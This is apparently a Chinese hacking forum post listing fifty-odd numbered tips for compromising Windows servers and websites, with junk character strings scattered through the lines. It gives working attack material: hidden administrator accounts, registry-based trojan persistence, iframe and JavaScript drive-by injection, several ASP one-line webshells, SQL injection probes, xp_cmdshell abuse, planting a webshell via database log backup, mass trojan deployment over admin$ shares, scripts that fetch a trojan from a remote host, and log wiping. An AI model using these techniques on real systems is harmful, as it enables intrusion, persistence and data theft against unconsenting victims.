1、Xp系统修改权限防止病毒或木马等破坏系统,cmd下,. n8 T+ L8 T2 \ M+ q
cacls C:\windows\system32 /G hqw20:R
. n* j( P$ B0 o" ?' ^4 D, C1 a思是给hqw20这个用户只能读取SYSTEM32目录,但不能进行修改或写入* D/ F' @. N' v! F
恢复方法:C:\>cacls C:\windows\system32 /G hqw20:F
' k6 M8 h1 z9 _9 d' T6 ~3 A( A& d/ Y( A- ?! d) A9 w& Y2 t7 | V
2、用Microsoft自带的IExpress工具作的捆绑木马可以躲过很多杀毒软件,运行对话框中输入Iexpress。4 h/ D- q3 h1 t0 r6 j
! g/ w, q. l ?: Z( R# h
3、内网使用灰鸽子,肉鸡上vidcs.exe -p端口,本地VIDCS里,VIDCS服务IP 填肉鸡的IP,VIDCS服务端口,就是给肉鸡开的端口,BINDIP添自己的内网IP,BIND端口 添8000,映射端口添8000。2 H5 J7 ^; _- S% `7 ~( M' U
! S7 Y2 W7 R2 R. k* k
4、建立隐藏帐号,上次总结了用guest建立隐藏的管理员,这次再介绍一种,在cmd下建立一个ating$的用户,然后注册表下复制管理员的1F4里的F 值到ating$的F值,再把ating$改为$,这样在计算机管理的用户里看不到这个隐藏帐号
; F# S, l$ X1 X" u1 x
+ ^' N( O9 b1 y/ f( L5、利用INF文件来修改注册表
2 S' O( K% i1 P, L0 u$ C( r[Version]
, H" _* w; P. t. sSignature="$CHICAGO$"
, `) `# Y# w1 o( `[Defaultinstall]0 u% D1 y+ d1 V+ g' c
addREG=Ating
; e1 D1 a% R9 m" n/ Y6 H7 R2 V+ U' q) e3 s[Ating]
9 e1 z* V3 a: g- T% OHKCU,"Software\Microsoft\Windows\CurrentVersion\Policies\system","disableregistrytools","0x00010001","1"
0 e+ T2 S6 u; \9 N/ ]( S6 @以上代码保存为inf格式,注意没有换行符,在命令行里导入inf的命令如下:, l$ s5 V5 K$ `; v. }7 p
rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 inf文件的具体路径3 [0 `7 J+ X0 ~- S: s
其中HKEY_CLASSES_ROOT 简写为 HKCR,HKEY_CURRENT_USER 简写为 HKCU
4 Z) W( m. i# AHKEY_LOCAL_MACHINE 简写为 HKLM,HKEY_USERS 简写为 HKU- M% J6 j3 }" E- U- h0 J9 d8 Y
HKEY_CURRENT_CONFIG 简写为 HKCC
# a" j; F p! O+ Z# E8 Z; V0x00000000 代表的是 字符串值,0x00010001 代表的是 DWORD值
9 A$ N: ]8 O: t! V' c/ x4 [8 i- g"1"这里代表是写入或删除注册表键值中的具体数据' T9 G$ e+ P. A `
, N: O' x# L, ~* Y3 Q* V7 |6、关于制作穿xp2防火墙的radmin,大家一定要会,各大黑客网站都有动画,0 P M% k# k1 [' b7 A
多了一步就是在防火墙里添加个端口,然后导出其键值
) J r0 `3 A! @[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List]
: a! g* |# ?4 v) v+ l c) d
2 h" p8 S% @, Q/ G1 j7、系统启动时Alerter服务启动前启动木马程序ating.exe,此方法很隐蔽2 h% q3 ?, _3 S. b9 C
在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CurrentVersion\Image File Execution Options]下建立service.exe项,再在service.exe项建立一个Debugger的键(字符串值),键值填ating.exe的全路径。, e5 R! e+ x, E, w( Q) r+ `5 l
& |% s9 A+ I) n2 u* O0 C
8、将ftp.exe传到服务器用来提权,可以先把它变成ating.gif格式的再用,迷惑管理员。) D5 }# `/ x! S( Y2 m
# g0 ]* [) R- X. @4 `$ o9、有时候在我们进入了网站后台,但是没有上传图片和备份等功能,得不到webshell,
: |+ D0 {) s0 o ~9 A$ `可是不能白来一场,可以看看发表公告或新闻支不支持html和script,支持的话加个frame马或者其他的什么。0 H$ i/ V0 u2 H% t4 R
. z9 t6 A X3 C3 `. f10、用google帮我们找网站后台,搜索”filetype:asp site:www.hack6.com inurl:login”$ L* i5 v& o$ y! V4 B" P) m: |1 J ^! i
3 I- R9 _9 o) `2 H1 i" F: f. Y* b0 i
11、我们中了盗密码的木马后不要急于删除,一般这些木马都是把密码发到指定邮箱,我们可以用探嗅软件来找到邮箱的用户名和密码,比如安全焦点的xsniff,
- W3 k) g% Y _# m' d" W- g- Y' P1 y用法:xsniff –pass –hide –log pass.txt! L& T! E5 y+ H& P% R
r3 q+ w/ O! u! o
12、google搜索的艺术
w( Y6 L& C$ P; ^# L8 G搜索关键字:“未闭合的引号”或“ADODB.Field.error”或“Either BOF or EOF in True”
5 w+ c" T6 P$ p# R或“字符串的语法错误”可以找到很多sql注入漏洞。9 B1 L; |" l8 @% R( c
) |6 F6 }% X4 |7 ?4 ^3 q; c13、还可以搜一些木马的关键字,比如搜索“管理登陆 海洋顶端 inurl:asp”,搜到了说明此网站服务器的其中网站肯定有漏洞。
w7 O- a8 T2 l; z+ {0 W* T/ p* p
14、cmd中输入 nc –vv –l –p 1987 J: Q" `( b+ Z) V7 W' R
做个bat文件内容为sqlhello 起始ip 1433 终止ip 1987 扫鸡吃 f! z& y+ O2 N) e7 Y0 Y% V0 x
# N, Q2 m9 `. E4 X: S8 }5 C% J15、制作T++木马,先写个ating.hta文件,内容为( U; u4 v: w5 Q0 q" B/ @& P0 t& \. H
<script language="VBScript">
" O' ~5 G4 M; `set wshshell=createobject ("wscript.shell" )
% r- Z6 i7 S7 y% q5 x) Ha=wshshell.run("你马的名称",1)
9 C2 I0 h: r- @+ k- s/ @* O. qwindow.close4 y, P3 G T) a% ]; T
</script>$ ^" H& L. n. K `7 c
再用mshta生成T++木马,命令为mshta ating.hta ating.t++,用网页木马生成器生成网页木马。' H O5 w4 u. t/ y$ s% E9 v
( y& g6 b" w* F t. O. U
16、搜索栏里输入. t* V* q- W2 ~3 ]
关键字%'and 1=1 and '%'='9 l* ]) x4 |) F- z* c
关键字%'and 1=2 and '%'='
5 ?6 c1 `* L4 d1 Y% V+ d% B比较不同处 可以作为注入的特征字符
" q8 D p0 {- E7 A; y6 ?* | R% v/ }; X
17、挂马代码<html># [3 s+ S( ~3 d
<iframe src="马的地址" width="0" height="0" frameborder="0"></iframe>2 z, |, |3 k* ]$ t
</html>5 y1 c. v+ `# }' o9 x
9 `1 l7 T% l9 e6 X. {% |: H18、开启regedt32的SAM的管理员权限检查HKEY_LOCAL_MACHINE\SAM\SAM\和HKEY_LOCAL_MACHINE\SAM\SAM\下的管理员和guest的F键值,如果一样就是用被入侵过了,然后删了guest帐号,对方可以用guest帐号使用administraeors的权限,你也可以用这方法留住肉鸡, 这方法是简单克隆,6 R* w5 I k* a3 Z. S, N: e" O
net localgroup administrators还是可以看出Guest是管理员来。
; P G6 R: r* f& a' b
# x4 o# }, e. {+ b9 p19、软件instsrv.exe 把.exe文件做成系统服务来启动 用来肉鸡挂QQ等# N- T! ?8 Z" h Q6 l
用法: 安装: instsrv.exe 服务名称 路径0 G! o j1 Z9 ?. }2 ^ ^2 J. s
卸载: instsrv.exe 服务名称 REMOVE
2 S9 c/ ` \; R- F
& t7 Z: K; Z! v
$ N, \7 O* [2 p! A8 e% ~% j21、SQL注入时工具---Internet选项---高级里找到显示友好的错误信息勾去掉( e4 P( }. J/ i' e! X3 ]1 e5 u
不能注入时要第一时间想到%5c暴库。
' Z- i; q) v. l3 p) r* ?) R2 w" z. x8 m& l: [
22、很多网站程序(比如华硕中文官方网站)上传图片时有可能在检测文件的时候是 从左朝又进行检测,也就是说,他会检测文件是不是有.jpg,那么我们要是把文件改成:ating.jpg.asp试试。。由于还是ASP结尾,所以木马不会变~" o" i! Q5 |2 }, i. k8 S9 j
5 ?: u$ E6 G; t6 M* I' }23、缺少xp_cmdshell时0 `/ X5 J+ @7 f* s9 s* M8 ~
尝试恢复EXEC sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
& c( e* q, G3 P3 {$ A" {假如恢复不成功,可以尝试直接加用户(针对开3389的)
; K* L" l: ]& @- r- qdeclare @o int% r( C4 [9 t# @6 j. a; a$ n
exec sp_oacreate 'wscript.shell',@o out
% b0 [6 l* g$ v0 {1 xexec sp_oamethod @o,'run',NULL,'cmd.exe /c net user ating ating /add' 再提到管理员
5 h6 q; q6 g. ]* l* N; _+ y1 G
1 m9 c" D" C; h24.批量种植木马.bat$ [& i4 m# u: d/ c# O+ b T
for /f %%i in (扫描地址.txt) do copy pc.exe %%i\admin$ 复制木马到扫描的计算机当中
; Q. Q9 s6 Y3 M3 \9 g: Ofor /f %%i in (扫描地址.txt) do at %%i 09:50 pc.exe 在对方计算机上运行木马的时间
+ D: R6 d8 t$ e% E扫描地址.txt里每个主机名一行 用\\开头# i; E/ V6 v% ]; k, c# b
: d5 J& i) Y- ]( W/ d, }25、在程序上传shell过程中,程序不允许包含<% %>标记符号的内容的文件上传,比如蓝屏最小 的asp木马<%execute request("l")%>,我们来把他的标签换一下: <script language=VBScript runat=server>execute request("l")</Script> 保存为.asp,程序照样执行。
) }: \- {& R4 W/ j2 E0 s' J" \# |4 L
26、IIS6 For Windows 2003 Enterprise Edition 如IIS发布目录文件夹包含.asp后辍名.5 g( X' P2 [. }( M8 e
将.asp后辍改为.jpg或其它的如.htm,也可以运行asp,但要在.asp文件夹下.8 S( d$ g$ D$ i5 o
.cer 等后缀的文件夹下都可以运行任何后缀的asp木马. ^1 m0 G- S( R: b$ M
6 v, M3 K9 p% R- N: M' J) k4 d27、telnet一台交换机 然后在telnet控制主机 控制主机留下的是交换机的IP/ t6 K6 b( s( l, g! W( C3 g
然后用#clear logg和#clear line vty *删除日志
7 |2 R) V$ Q7 }& T3 C3 ]; s! q
5 p- a' F: K' N5 Q; w* h* e- Z28、电脑坏了省去重新安装系统的方法4 y2 b7 i6 \' u
纯dos下执行,* I9 c: J5 W1 _! q% \$ K
xp:copy C:\WINDOWS\repair\*.* 到 c:\windows\system32\config* S6 y7 }, x* B" E% d) ?
2k: copy C:\winnt\repair\*.* 到 c:\winnt\system32\config
, m% x o/ r- }" L
9 I6 j. }/ @" f* _* S3 y29、解决TCP/IP筛选 在注册表里有三处,分别是:( o. Z# [; ~! K% A
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip- w4 K0 Y% \4 W4 p# m
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip( A3 I1 N3 h2 u) ~
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip: H1 q& Y7 g; z+ P1 r/ M
分别用
( ^1 {2 B: T1 E1 `$ P' _regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip: k* i3 i: S0 X, x
regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
: E+ |4 h4 p2 T; u7 [" J* k7 jregedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
- B \" @1 @$ m* H, S( h# y! T命令来导出注册表项
! u. N4 n, v6 A* Z* V9 @9 d然后把三个文件里的EnableSecurityFilters"=dword:00000001,# g' P) E8 K1 q2 l& C; V" {( U
改成EnableSecurityFilters"=dword:00000000 再将以上三个文件分别用6 }, U) }3 C) W. z/ w2 V% d5 R
regedit -s D:\a.reg regedit -s D:\b.reg regedit -s D:\c.reg 导入注册表即可。
- ]' {: O! O' a
9 A$ Y3 C0 _2 L, S! e" t* M4 @- \30、使CHM木马无法在本地运行木马程序 将注册表"HKEY_CURRENT_U3 w. p! Q% W0 E3 `7 `
SER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0"下的1004项的值由原来十进制的0改为十六进制的36 O) W( n4 S( r
% u! ]+ O1 a1 r) r31、全手工打造开3389工具
f( \5 {# G6 W5 R; o; d$ M) h E打开记事本,编辑内容如下:4 b# ?4 J5 @- l2 o
echo [Components] > c:\sql
) v3 A* U8 n. W/ Y$ V# Techo TSEnable = on >> c:\sql+ P( `! \! m* ?
sysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\sql /q
0 l: L. e! @) @' K+ \编辑好后存为BAT文件,上传至肉鸡,执行
& z. s, v* N% [- `5 i* k6 Q' _ F& \5 g7 o: J- O
32、挂马js代码document.write('<iframe height=0 width=0 src="木马地址.htm"></iframe>');保存到js页面里 可让所有页面挂马
' g" D) u% e L6 { i5 b; |6 U$ v4 U2 |4 u
33、让服务器重启: @, b' v; c) A4 Z
写个bat死循环:- Q2 L# v, B' w, @6 U
@echo off& o) V9 C: S, w$ d, m
:loop1( T3 |/ F3 u- m- T6 E
cls6 I% b- n1 s1 w l( C) I& o
start cmd.exe
/ u& Y- ~ D! W% F) t( C4 U" _goto loop1% n/ |& M0 G- P. C
保存成bat guset权限就可以运行 运行后很快服务器就会死机 管理员自然会去重启
3 d# T0 x o# x/ r: `" ?
# k+ h" h. `3 A$ J34、如果你登录肉鸡的3389时发现有cmd一闪而过,那你可要小心了,管理员写了个bat在监视你,# A# f& r7 P; f9 p5 a& `
@echo off2 o; b( D; n- H1 H2 ~: ?7 h
date /t >c:/3389.txt4 |5 R! D; G5 A4 Q) g, g% V
time /t >>c:/3389.txt) H4 h- t( `/ t6 u! K
attrib +s +h c:/3389.bat( X( x$ |$ F" n0 ?, T/ n E0 z
attrib +s +h c:/3389.txt" [& C" k7 Q R, x7 a
netstat -an |find "ESTABLISHED" |find ":3389" >>c:/3389.txt9 S/ c8 a, ^6 ~9 R
并保存为3389.bat$ K! \, [! J9 a( |2 ~* \
打开注册表找到:Userinit这个键值 在末尾加入3389.bat所在的位置,比如我放到C盘,就写:,c:/3389.bat,注意一定要加个逗号
: V8 [5 Q( z! g- }- }- i: y* V# E: r/ P9 ^$ _. E3 q% |! O
35、有时候提不了权限的话,试试这个命令,在命令行里输入:8 ^+ @6 s3 h1 w( y5 B* d7 A7 k% x
start http://www.hack520.org/muma.htm然后点执行。(muma.htm是你上传好的漏洞网页)% c9 T+ d. @- C8 ~
输入:netstat -an | find "28876" 看看是否成功绑定,如果有就telnet上去,就有了system权限,当然也可以nc连接,本地执行命令。
4 L8 S6 s% S6 q: R w* i
5 z, P* Y; s! ?, B5 @6 c# X% {7 j! P36、在cmd下用ftp上传马方法,我们可以用echo 写一个批处理文件: F* @% I6 m) J; P+ P7 e/ {' b
echo open 你的FTP空间地址 >c:\1.bat //输入你的FTP地址6 C) }3 ^& L* C
echo 你的FTP账号 >>c:\1.bat //输入账号# i" r% ]" _0 ^- j4 }9 u
echo 你的FTP密码 >>c:\1.bat //输入密码" f' v6 y* f2 |/ r: f% R
echo bin >>c:\1.bat //登入
5 M9 g5 @, B$ i" I2 Xecho get 你的木马名 c:\ ating.exe >>c:\1.bat //下载某文件到某地方并改名为什么2 m, b+ M0 ~0 {
echo bye >>c:\1.bat //退出
; q# q' R6 E2 A' A$ l7 B) ?然后执行ftp -s:c:\1.bat即可' r! c7 D6 v7 v5 o
5 r0 I, G3 ` k/ ?37、修改注册表开3389两法. M/ c2 ? f- L# B8 @+ B& _6 X
(1)win2000下开终端 首先用ECHO写一个3389.reg文件,然后导入到注册表9 W& w* t3 {% W! Z1 }/ e H- W
echo Windows Registry Editor Version 5.00 >>3389.reg8 k- a- a0 ~' t( Y0 T2 G! s
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] >>3389.reg% ~% F ~/ K3 s$ }" d
echo "Enabled"="0" >>3389.reg
! E+ v I* B q( v1 hecho [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
3 x' r! i: o9 |- V7 o( Q; r% cNT\CurrentVersion\Winlogon] >>3389.reg
& O( I: |& E8 }# V7 `echo "ShutdownWithoutLogon"="0" >>3389.reg' q; q7 P/ ]" I
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]0 J8 j7 g0 X3 O: |/ _, _
>>3389.reg
$ ?( a! N8 b- U8 cecho "EnableAdminTSRemote"=dword:00000001 >>3389.reg
8 g G- H' A% G- M1 ]echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]; z R j( I. g5 d
>>3389.reg
8 s0 a" G; _& K( lecho "TSEnabled"=dword:00000001 >>3389.reg
$ d! A0 [$ G4 q9 becho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>3389.reg
6 A T1 Z4 l2 p+ hecho "Start"=dword:00000002 >>3389.reg
9 K4 @( G% } J0 P/ g& Decho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService]4 ^$ h5 v& A1 m; _) W) X; b4 p
>>3389.reg
' N g5 R7 O# D- Uecho "Start"=dword:00000002 >>3389.reg# R! Q) p6 Y/ a4 m d. D% S/ c$ k
echo [HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle] >>3389.reg
. b/ R% G8 F- n# ^echo "Hotkey"="1" >>3389.reg
: F/ t) ?% a1 q% D; u# vecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal4 @1 R1 |. |! Q
Server\Wds\rdpwd\Tds\tcp] >>3389.reg6 S* V9 X! c* C) E
echo "PortNumber"=dword:00000D3D >>3389.reg8 F: J/ Z1 k. n1 L
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
! A9 ^- P/ {6 [# a) v( |: sServer\WinStations\RDP-Tcp] >>3389.reg
0 ^0 u: T+ a, v# q. n! |2 y5 I* x9 Uecho "PortNumber"=dword:00000D3D >>3389.reg) G3 V6 ~2 ]9 c. p+ I$ S
把这些ECHO代码到CMDSHELL下贴粘就可以生成3389.reg文件,接着regedit /s 3389.reg导入注册表。
4 z" k6 C) ^( G& O4 g(如果要改变终端端口只须把上面的两个D3D都改一下就可以了)
5 B7 c. g+ a r- @4 B因为win 2k下开终端不能像XP一样可以立即生效,而是需重启机器后才生效. [& [$ l! O) ?6 C
(2)winxp和win2003终端开启
! {4 S0 W8 v! V3 }1 c* }% {用以下ECHO代码写一个REG文件:
8 }1 }* S1 [' Z. R( ` ~# vecho Windows Registry Editor Version 5.00>>3389.reg
* N1 F1 Y" B' b0 R4 A- Y/ V3 uecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
6 P2 v2 t! @' }% S7 r SServer]>>3389.reg
; R0 `4 C& P, s: \echo "fDenyTSConnections"=dword:00000000>>3389.reg
) I+ Y+ I% g; K' C9 @, `echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal, ^! l6 N0 |& N& M; A
Server\Wds\rdpwd\Tds\tcp]>>3389.reg
3 G6 W2 W. u8 Gecho "PortNumber"=dword:00000d3d>>3389.reg& R) g. x" a9 V/ u- m9 Q5 }
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal; A0 O4 @/ |/ F
Server\WinStations\RDP-Tcp]>>3389.reg+ e; F+ k) S2 W" E* @3 [
echo "PortNumber"=dword:00000d3d>>3389.reg
! ]" `4 t; I* Q& Z# K7 c9 E! ~然后regedit /s 3389.reg del 3389.reg
# n; r8 ]$ ^0 R2 r) tXP下不论开终端还是改终端端口都不需重启
3 C. ]4 M/ b8 n; I
1 _$ f1 j0 O1 l$ B2 y4 z* J38、找到SA密码为空的肉鸡一定要第一时间改SA密码,防止别人和我们抢肉吃
; e/ b: Y5 w( N( @/ o: Z$ {用查询分析器运行 EXEC sp_password NULL, '你要改的密码', 'sa'
2 Y2 i4 ~/ Y8 c* V9 [2 k5 F. D% k) o, M) C1 D
39、加强数据库安全 先要声明把mdb改成asp是不能防止下载的!
; a4 }1 L; Y: z2 a( Y(1)数据库文件名应复杂并要有特殊字符
+ s3 o) O# Q+ l( C9 @2 z. }(2)不要把数据库名称写在conn.asp里,要用ODBC数据源3 a/ q& J; D, Z# o1 z, ^
将conn.asp文档中的( X* j7 f m7 |' f, p8 {
DBPath = Server.MapPath("数据库.mdb")) d7 \$ C2 }3 [0 l+ m# Y6 n0 L
conn.Open "driver={Microsoft Access Driver (*.mdb)};dbq=" & DBPath! L: M4 Z7 ]/ z$ t, K) g. K9 s
2 K! C0 [1 U5 Y& a+ B( i修改为:conn.open "ODBC数据源名称," 然后指定数据库文件的位置7 {9 I* [7 r0 [' x& m. _
(3)不放在WEB目录里
$ z+ T' _" S5 i, ^; g' K) q9 ?' \6 A4 U. |
40、登陆终端后有两个东东很危险,query.exe和tsadmin.exe要Kill掉! k" Y" Z3 T: P* t
可以写两个bat文件: A1 U0 r% b9 B b4 y' n
@echo off
- F9 ^2 _! [) ?6 X@copy c:\winnt\system32\query.exe c:\winnt\system32\com\1\que.exe
/ d; o* V+ G, \3 C; i3 d@del c:\winnt\system32\query.exe' S% M2 A) l9 o' M
@del %SYSTEMROOT%\system32\dllcache\query.exe1 ~/ l; _ y7 @- N( I$ R, d
@copy c:\winnt\system32\com\1\query.exe c:\winnt\system32\query.exe //复制一个假的
$ `% E$ w: c- u; j! H2 W6 }: ]$ x) E% O/ M9 `+ A: ^
@echo off
. r# U) L+ F9 b, ]@copy c:\winnt\system32\tsadmin.exe c:\winnt\system32\com\1\tsadmin.exe
, G0 \ R. F2 ]- r7 t, E% U' W@del c:\winnt\system32\tsadmin.exe
8 f" m6 f) D5 C* Y- a) o$ {@del %SYSTEMROOT%\system32\dllcache\tsadmin.ex) Q# Q* a! _/ B1 v6 j f; O" F9 U: }
6 T# I& E1 S* z" v7 d41、映射对方盘符
3 @' [) ~: J9 l0 h" z, C; xtelnet到他的机器上,
8 x2 t3 q& X, x: D. r; rnet share 查看有没有默认共享 如果没有,那么就接着运行8 J, x: i4 E$ r) W5 Y' |
net share c$=c:0 T7 V! t; |7 b3 e( U
net share现在有c$9 @3 `# N& ~7 D6 \7 \+ H
在自己的机器上运行
. C* B" k }* r- S& |5 u0 H2 m: N2 Fnet use k: \\*.*.*.*\c$ 把目标共享映射到本地硬盘,盘符为K
4 F; a' T" G5 p% _$ |5 H- n- t. a0 j$ |$ y( S9 T
42、一些很有用的老知识
( r" K# b, I' `8 Ntype c:\boot.ini ( 查看系统版本 )2 `- R# |' u) Y" _* w2 j
net start (查看已经启动的服务)
) J% U1 {' u* W {8 fquery user ( 查看当前终端连接 )5 Y3 d1 I0 E8 G+ H8 f# Z
net user ( 查看当前用户 )
7 Z6 Q0 P. r; T) L& tnet user 用户 密码/add ( 建立账号 )$ t- a" ?& ^6 a- M
net localgroup administrators 用户 /add (提升某用户为管理员)
% @" f( p( _, y% t+ Lipconfig -all ( 查看IP什么的 )
. g' I6 N7 V) z$ C1 [* v" P; f, e( }netstat -an ( 查看当前网络状态 )5 n8 H2 |: `1 u5 O
findpass 计算机名 管理员名 winlogon的pid (拿到管理员密码)) }2 E2 R3 c$ l. i' h6 H0 J/ ]$ s
克隆时Administrator对应1F4
9 K! ?3 ?# s/ Q% cguest对应1F5
+ s. q2 I- s* U' vtsinternetuser对应3E8
5 Y! S" k; e _3 L& _$ l3 y/ U1 [
43、如果对方没开3389,但是装了Remote Administrator Service
, O3 y* ]. h0 h } I E: W0 J用这个命令F:\ftp.exe "regedit -s F:\longyi.biz\RAdmin.reg" 连接* `8 I& ]# Z7 G9 o0 C2 k4 d; w
解释:用serv-u漏洞导入自己配制好的radmin的注册表信息5 \7 I3 w* x# P$ u6 B+ R" s
先备份对方的F:\ftp.exe "regedit -e F:\1.reg HKEY_LOCAL_MACHINE\SYSTEM\RAdmin"
* j2 q" V. A6 K6 A" T
. e$ q# B( m6 X6 G- q5 \44、用lcx做内网端口映射,先在肉鸡上监听 lcx -listen 52 8089 (端口自定)
3 g9 ?: k2 e2 R& H2 f4 |本地上运行映射,lcx -slave 鸡的ip 52 我内网的ip 80 (我的WEB是80端口)
% `: q9 j1 a9 X. W! d* T! Z! x" G, {/ O' i3 d# O; x3 v( g
45、在服务器写入vbs脚本下载指定文件(比如用nbsi利用注入漏洞写入); B5 S. Q% n) S) f7 K
echo Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open
; v; n. ]8 G+ R^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s =/ R" B# b8 E7 u4 y @7 k, V+ w) q
CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type =7 g! x3 K- E ^3 ?5 b( p
1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >ating.vbs
1 `. s8 J3 ]; O% ~(这是完整的一句话,其中没有换行符)4 q' {9 Q! e2 ^) V/ o- L4 B6 K, ~
然后下载:2 A- C0 F( e- \5 _7 C; [
cscript down.vbs http://www.hack520.org/hack.exe hack.exe9 D, S( E% C1 _( J
6 O* E3 \! J( N( u! K. Y46、一句话木马成功依赖于两个条件:
4 r! Y) C0 d2 |( {1、服务端没有禁止adodb.Stream或FSO组件- U( I- w. g/ T
2、权限问题:如果当前的虚拟目录禁止user级或everyone写入的话也是不会成功的。
" g8 a0 P0 ^. r8 Q, f
, a) `* B$ ^4 ^% W% Q; I/ P; `" {47、利用DB_OWNER权限进行手工备份一句话木马的代码:
! G+ Z/ _( h6 |7 r$ R5 b" M9 h;alter database utsz set RECOVERY FULL--$ s/ H4 G q4 V3 K6 z; ?
;create table cmd (a image)--" b! T4 k$ g3 P* }. `7 b
;backup log utsz to disk = 'D:\cmd' with init--
/ |0 X/ i+ g% Q! c;insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)--
7 K3 P. U; A+ F7 |% ?' [;backup log utsz to disk = 'D:\utsz_web\utsz\hacker.asp'--
: n' i, k! l" W- Q: w+ h注:0x3C25657865637574652872657175657374282261222929253EDA为一句话木马的16进制形式。1 n9 |* @8 O5 J
4 c) _8 }$ [) ]- }, ]
48、tlntadmn是telnet服务的设置命令,可以对telnet服务的端口、认证方式等进行设置:9 c4 M/ u4 @6 h) }* W8 K
" M- L: ^% _7 I" d8 G* {
用法: tlntadmn [computer name] [common_options] start | stop | pause | continue | -s | -k | -m | config config_options
5 ^+ s( y T! |+ o; B/ K所有会话用 'all'。
" j: J6 N" U8 p-s sessionid 列出会话的信息。3 E j. E. u$ w- [% r9 X3 h
-k sessionid 终止会话。
9 w. {. r; J# R2 |-m sessionid 发送消息到会话。8 O3 q' S# g, J; U) D
# [+ ~* l7 n5 V8 ?# h
config 配置 telnet 服务器参数。6 S! W- H/ `2 `; b S
& N& N8 S3 M8 bcommon_options 为:- f1 `" v3 ~; Z, P1 C
-u user 指定要使用其凭据的用户* Y1 h2 c7 H4 U& E2 L4 U
-p password 用户密码+ Q. N( F% P" r- k" d- r
0 C) ?+ C- b/ W4 l
config_options 为:
; a; B! q4 l- ~; W2 }; A) Xdom = domain 设定用户的默认域$ [' W$ ]% ^8 j) s' P
ctrlakeymap = yes|no 设定 ALT 键的映射; P9 W4 c! @9 e* K
timeout = hh:mm:ss 设定空闲会话超时值
; w/ u3 h b. i# @+ y4 Atimeoutactive = yes|no 启用空闲会话。
3 e2 k1 a& `9 q1 p* `6 ymaxfail = attempts 设定断开前失败的登录企图数。
+ V9 {, ^4 c) g6 |1 L( Hmaxconn = connections 设定最大连接数。
, G1 u; L9 F2 i5 cport = number 设定 telnet 端口。' ?# F- R! F' g6 r# ]# w% O
sec = [+/-]NTLM [+/-]passwd' T+ z% v5 `3 ?
设定身份验证机构
& H- H# h/ v% [fname = file 指定审计文件名。4 q/ w) u' U$ M) A4 T {
fsize = size 指定审计文件的最大尺寸(MB)。
. @/ i- E/ F/ f5 p( V0 \+ O& F$ rmode = console|stream 指定操作模式。; |/ h6 r1 G* ]. D
auditlocation = eventlog|file|both
. m; D9 o% a- @% K9 }指定记录地点( Y3 B! W+ j- O g! h$ U, z
audit = [+/-]user [+/-]fail [+/-]admin( Y& y/ m; v5 j* N2 Z) w- J
# u. U! X3 Y- S8 R9 m1 w# M
49、例如:在IE上访问:* A8 ^2 Q- e) J6 x2 T+ N5 B
www.hack520.org/hack.txt就会跳转到http://www.hack520.org/+ [4 x2 z* n' g8 s
hack.txt里面的代码是:- J7 h" z, ?* H% w1 [5 |) E6 v
<body> <META HTTP-EQUIV="Refresh" CONTENT="5;URL=http://www.hack520.org/">
Q R: I: ]/ w+ I把这个hack.txt发到你空间就可以了!
( h9 s( j6 k9 I! |' r这个可以利用来做网马哦!
, j/ s* e5 e" g, Q" H8 F/ v& \& V8 ~- Q9 M/ Q
50、autorun的病毒可以通过手动限制!0 G* V1 D8 t9 _4 q: l* ^3 D
1,养成好习惯,插入U盘或移动硬盘,都要按住shift让其禁止自动运行!; B7 {) ?+ }" m7 k" _( [! A
2,打开盘符用右键打开!切忌双击盘符~9 s. f' Z0 ?2 z( u+ {
3,可以利用rar软件查看根目录下autorun病毒并删除之!他可以处理一些连右键都无法打开的分区!- \( K, b* a* n% [ x5 y
/ s+ i) r, h2 K- C$ Q
51、log备份时的一句话木马:) `' [ [3 n y1 [9 g5 c( y
a).<%%25Execute(request("go"))%%25>
9 [: _/ H3 n6 _* cb).<%Execute(request("go"))%>
2 w6 J2 [, a* X# r/ j" yc).%><%execute request("go")%><%+ [) w9 m1 K' J1 e$ |2 K+ H/ ^
d).<script language=VBScript runat=server>execute request("sb")</Script>) i5 H9 ~% X3 @+ k
e).<%25Execute(request("l"))%25>/ }. k2 l' N0 _6 v" u+ V
f).<%if request("cmd")<>"" then execute request("pass")%>" a# C5 D# U& J* T
5 c* u' O5 Q% J( E
52、at "12:17" /interactive cmd
Q$ d$ k/ n: ^9 j1 X: `执行后可以用AT命令查看新加的任务
& d$ L8 m' I4 J- k$ V5 e6 D' Y用AT这个命令以交互的方式运行cmd.exe 这样运行的cmd.exe是system权限。8 S! M1 I- z' v8 V9 m- ~/ m
6 I+ W; @) w6 w% |! ^
